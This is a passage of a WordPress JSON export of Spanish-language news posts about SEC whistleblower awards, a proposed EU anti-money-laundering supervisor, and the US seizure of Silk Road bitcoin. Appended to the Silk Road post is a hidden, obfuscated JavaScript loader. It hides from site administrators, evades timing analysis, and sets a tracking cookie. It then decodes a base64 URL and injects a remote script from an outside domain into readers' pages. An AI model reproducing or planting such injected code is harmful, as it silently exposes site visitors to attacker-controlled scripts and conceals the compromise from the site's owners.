alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la 